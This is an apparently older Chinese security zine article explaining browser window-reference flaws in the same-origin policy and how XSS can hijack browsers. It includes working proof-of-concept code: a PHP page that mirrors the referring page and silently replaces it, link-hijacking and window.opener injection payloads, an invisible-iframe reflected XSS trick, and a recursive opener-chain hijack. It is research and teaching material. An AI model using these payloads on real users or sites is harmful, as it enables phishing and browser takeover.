利用窗口引用漏洞和XSS漏洞实现浏览器劫持

==Ph4nt0m Security Team==
 
                       Issue 0x03, Phile #0x05 of 0x07

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|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
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|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
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[目录]

1. 前言
2. 同源策略简叙
3. 理解window对象的同源策略
4. 窗口引用功能中的同源策略漏洞
  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
  6.1 正向跨窗口劫持
  6.2 反向跨窗口劫持
  6.3 极度危险的跨框架窗口引用劫持
  6.4 极度危险的正反向跨窗口递归劫持
  6.5 完全控制浏览器
7. 后记
8. 参考

一、前言

最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。

二、同源策略简叙

同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。

三、理解window对象的同源策略

窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

--code-------------------------------------------------------------------------
<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------

这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。

举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。

--demo.html--------------------------------------------------------------------
<script language="javascript">   
function allPrpos(obj) {      
      var props = "<table><tr><td>名称</td><td>值</td>";           
      for(var p in obj){          
            if(typeof(obj[p])=="function"){   
                   obj[p]();   
             }else{                      
                  try   
                   {   
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
                   }   
                  catch (ex)   
                   {   
                   
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
                   }   
                       
             }   
       }   
   
       document.write(props+"</table>");   
}   
   
function createWin() {
    newWin = window.open ("http://www.google.com");  
    setTimeout(function(){allPrpos(newWin)},2000);
}

</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------

四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
行测试，会发现父窗口可以控制非同源子窗口location属性值。

--vul1.html--------------------------------------------------------------------
<script language="javascript">
function createWin() {  
    newWin = window.open ("http://www.google.com");  
    setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
</script>

<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------

4.2 子窗口引用父窗口的同源策略问题

逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。

--code-------------------------------------------------------------------------

javascript:window.opener.location = "http://www.80sec.com";void(0);

-------------------------------------------------------------------------------

五、利用窗口引用漏洞劫持浏览器

经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
会产生什么可怕的后果。

下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
以做更多的事情，所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
<?php
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
}
?>

<script language="javascript">
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);     
</script>
-------------------------------------------------------------------------------

注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。

六、利用XSS漏洞劫持浏览器

延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
讨论跨站师的终极技巧：

6.1 正向跨窗口劫持

大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
框脚本。

--hijack_open.js---------------------------------------------------------------

javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------

6.2 反向跨窗口劫持

同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
框脚本。

--hijack_opener.js-------------------------------------------------------------

javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

-------------------------------------------------------------------------------

6.3 极度危险的跨框架窗口引用劫持

非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS，如下：

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>

在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。

--hijack_frame_opener.js-------------------------------------------------------
<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
</script>
-------------------------------------------------------------------------------

6.4 极度危险的正反向跨窗口递归劫持

luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：

--code-------------------------------------------------------------------------

javascript:(function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);

-------------------------------------------------------------------------------

假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面，从而实现“隔空打击”。

同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。

6.5 完全控制浏览器

一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
师的终极目标 - 完全控制浏览器。

七、后记

文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。

八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2. http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

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